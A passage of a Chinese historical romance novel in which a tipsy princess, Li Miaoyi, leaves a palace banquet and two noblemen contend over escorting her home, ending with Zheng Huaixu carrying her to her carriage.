仍在维持着得体的微笑,实际上脑子里已经乱成了一团。 她要才有才,要貌有貌,凭什么要随随便便找个人嫁了?她要嫁的人,必须是她真心所悦,必须能与她比肩而立,必须…… 脑子里忽然闪过一个人的脸。 李妙仪猛地摇了摇头,将那人的面容从脑海中甩出去。 宫宴散场时,李妙仪已经醉得不轻了。她靠在拢月肩上,脚步虚浮,步摇歪斜,大袖衫的衣襟也松了几分。 “殿下,您慢点儿。”拢月吃力地扶着她,险些被她的脚步带倒。 走出宫门,寒风扑面而来,李妙仪打了个寒噤,酒意反而更浓了。她眯着眼看向前方,宫道两侧挂着大红灯笼,光影摇曳,映得她的面庞忽明忽暗。 “殿下。”一个熟悉的声音从侧方传来。 李妙仪转头,看见沈子瑜阔步走来,他如今已不像年少时那般喊她“李妙妙”了,她含糊地打了个招呼:“沈清晖,你怎么还没走?” 沈子瑜走近,见她满面酡红、步履蹒跚,不禁皱了皱眉:“殿下喝了不少酒?” “不多,”李妙仪摆摆手,“也就十几杯吧。” 沈子瑜无奈地叹了口气,说道:“天色已晚,殿下又饮了酒,臣送殿下回府吧。” 李妙仪本想拒绝,可脚步一个踉跄,险些栽倒,沈子瑜眼疾手快地扶住了她的手臂。 “殿下小心。” 李妙仪靠在他肩上,未做多想,任由他搀扶着。出了宫门,正要往公主府的马车走去时,一阵马蹄声由远及近。 一匹高大的马儿从宫道尽头驰来,马上之人一身玄色锦袍,外罩大氅,身形挺拔如松。马儿在几步之外勒住,他翻身而下。 郑淮序走近,瞧见他二人的姿态后,眼睛微微眯起:“沈公子,夜深了,送安阳公主回府的事,就不劳烦你了。” 沈子瑜温和地笑了笑:“郑二公子,殿下饮了酒,臣送她一程也是分内之事。” “分内?”郑淮序嘴角扬起,“沈公子又不是安阳公主府的属官,这分内二字,怕是说不上吧。” 沈子瑜沉吟片刻,松开了手,将李妙仪稳稳地交给跟上来的拢月:“郑二公子说得是,那公主就有劳您护送了。” 他转身离去,步伐从容,衣袂飘飘,背影在灯笼光中渐行渐远。 郑淮序收回目光,看向李妙仪。她闭着眼,长睫微颤,嘴里还在含含糊糊地嘟囔着什么,酡红的面颊格外娇艳。 郑淮序伸手,将她从拢月手中接了过来:“我来。” 拢月吓了一跳,下意识想要阻拦,可对上郑淮序幽深的眼神,到嘴边的话又咽了回去。 郑淮序一手揽住李妙仪的腰,一手托住她的后脑,将她整个人拢进怀里。她此刻醉得浑身发软,没骨头似的靠在他胸前,呼吸间全是酒气。 “怎么喝这么多?”他低声问。 迷糊间,李妙仪听到有人说话,费力地睁开眼,眯着眼辨认了半天,忽然“咦”了一声。 “郑淮序,你怎么在这儿?”她伸出手指戳了戳他的胸膛,手指软绵绵的,没什么力气, “路过。”他面不改色地说。 李妙仪“哦”了一声,又闭上了眼。 郑淮序沉默了片刻,然后弯腰将她打横抱起。 “殿下!”拢月惊呼。 “回府。”郑淮序简短地吩咐了一声,抱着李妙仪大步走向公主府的马车。